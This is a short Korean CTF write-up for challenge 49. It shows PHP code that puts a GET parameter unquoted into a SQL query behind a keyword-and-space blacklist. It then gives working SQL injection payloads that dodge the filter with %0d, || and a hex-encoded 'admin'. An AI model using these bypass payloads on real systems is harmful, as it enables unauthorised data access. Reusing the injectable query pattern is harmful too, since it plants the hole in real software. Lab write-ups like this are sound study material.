Write-Up
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
if($_GET['lv']){
$db = dbconnect();
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
echo $result[0] ;
if($result[0]=="admin") solve(49);
}
?>
위의 코드를 볼 때, lv 인자 값에 대한 많은 필터링 조건들이 걸려 있다. 대표적으로 or, 공백, ' (싱글 쿼터)," (더블 쿼터) 등이 있다.
db로 요청되는 쿼리를 보면,
select id from chall49 where lv={$_GET['lv']}
위와 같은데, lv 값에 ' 나 "가 필요하지 않음을 파악할 수 있다. ( ' or 1=1# 과 같은 형식을 생각했을 때, ' (싱글 쿼리) 어떻게 우회해야 하나 고민하지 않아도 된다는 의미이다. ) lv는 int 타입을 입력받는 것으로 보이기 때문이다.
그래서 먼저, 아래와 같은 payload를 통해 공백 및 or 우회 적용 여부와 sql injection 성공 여부를 파악해 보았다.
?lv=399%0d||%0d1=1%23
문제의 조건을 볼 때, $result[0] 가 'admin'이면 문제를 해결할 수 있으므로, 아래와 같은 payload를 작성해 요청한다.
?lv=399%0d||%0did%0dlike%0d0x61646d696e%23